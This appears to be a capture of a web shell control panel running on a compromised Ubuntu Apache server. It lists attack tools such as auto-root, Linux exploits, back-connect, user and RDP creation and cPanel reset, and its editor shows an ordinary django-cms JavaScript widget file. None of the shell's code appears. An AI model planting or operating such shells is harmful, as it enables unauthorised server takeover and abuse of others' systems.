Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
vicas-dev /
static /
cms /
js /
widgets /
[ HOME SHELL ]
Name
Size
Permission
Action
forms.apphookselect.js
4.02
KB
-rw-r--r--
forms.pageselectwidget.js
3.12
KB
-rw-r--r--
forms.pagesmartlinkwidget.js
3.41
KB
-rw-r--r--
forms.slugwidget.js
605
B
-rw-r--r--
wizard.pagetypeselect.js
906
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : forms.pagesmartlinkwidget.js
/* * Copyright https://github.com/divio/django-cms */ // this essentially makes sure that dynamically required bundles are loaded // from the same place // eslint-disable-next-line __webpack_public_path__ = require('../modules/get-dist-path')('bundle.forms.pagesmartlinkwidget'); // ############################################################################# // PAGE SMART LINK WIDGET // cms/forms/widgets.py used for redirects in admin/cms/page/advanced-settings require.ensure([], function (require) { var $ = require('jquery'); var Class = require('classjs'); require('../select2/select2'); /** * Creates a select field using jquery.select2 to filter through * available pages or set a custom url. * * @class PageSmartLinkWidget * @namespace CMS */ var PageSmartLinkWidget = new Class({ initialize: function initialize(options) { this.options = $.extend(true, {}, this.options, options); // load functionality this._setup(options); }, /** * Setup internal functions and events. * * @private * @method _setup * @param {Object} options * @param {String} options.id * @param {String} options.url */ _setup: function _setup(options) { $('#' + options.id).select2({ placeholder: options.text, allowClear: true, multiple: false, ajax: { url: options.url, dataType: 'json', data: function (term) { return { q: term, language_code: options.lang }; }, // default search output, will be overridden if no results map results: function (data) { return { more: false, results: $.map(data, function (item) { return { id: item.redirect_url, text: item.title + ' (/' + item.path + ')' }; }) }; } }, // create fallback entry if no choices are found createSearchChoice: function (term, data) { if ($(data).filter( function () { return this.text.localeCompare(term) === 0; }).length === 0 ) { return { id: term, text: term }; } }, // ensures initial selection is loaded initSelection: function (element, callback) { callback({ id: element.val(), text: element.val() }); } }); } }); window.CMS = window.CMS || {}; window.CMS.PageSmartLinkWidget = PageSmartLinkWidget; $(function () { window.CMS.Widgets._pageSmartLinkWidgets.forEach(function (widget) { new PageSmartLinkWidget(widget); }); }); }, 'admin.widget');
Close